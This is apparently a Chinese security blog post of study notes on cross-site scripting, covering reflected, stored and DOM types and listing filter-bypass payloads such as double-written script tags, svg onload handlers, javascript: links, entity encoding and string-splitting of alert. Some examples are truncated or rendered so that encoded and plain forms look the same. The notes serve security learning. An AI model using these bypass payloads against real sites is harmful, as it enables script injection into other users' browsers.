web安全-XSS(跨站脚本攻击)
1.反射型
用户如果点击了类似于这样的攻击型url,就会执行反射型XSS攻击,并造成危害,这也就是它作为反射型的原因,且只会执行一次
1 | 127.0.0.1/xss.php?id=<script>alert("hello")</script> |
2.储存型
存储型一般会在博客评论,用户评论,留言板等等这些会把数据存储在数据库中的地方注入恶意代码
作为用户来访问此网页时触发
3.DOM型
详解:https://www.cnblogs.com/mysticbinary/p/12542695.html
重定向至京东页面:
1 | <script>window.onload=function(){ |
4.一些常见绕过
大小写绕过
1 | 只过滤了<script> |
双写绕过
遇到替换为空或删除的情况,可以尝试
1 | <scri<script>pt> |
替换绕过(HTML事件或js伪协议)
详细:https://www.cnblogs.com/xiaozi/p/12050521.html
这里举几个常用的例子:
1 | <svg onload=alert('1')> <!--加载svg图片时执行js代码"alert(1)"--> |
HTML实体编码绕过
1 | <a href=javascript:alert(1)>link</a> |
也可以不带分号
1 | <a href=javascript:alert(1)>link</a> |
网页中显示空格可以用
也可以用实体编码 
内嵌tab
1 | <iframe src=java	script:alert(1)> |
防止javascrpt被过滤掉
css特性绕过
background:url(javascript:)
拼接绕过
window["al"+"ert"]("Hello, world!");
和<script>alert(/Hello, world!/)</script>
效果一样
长度限制绕过
5.XSS平台
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 YTM's Blog!
评论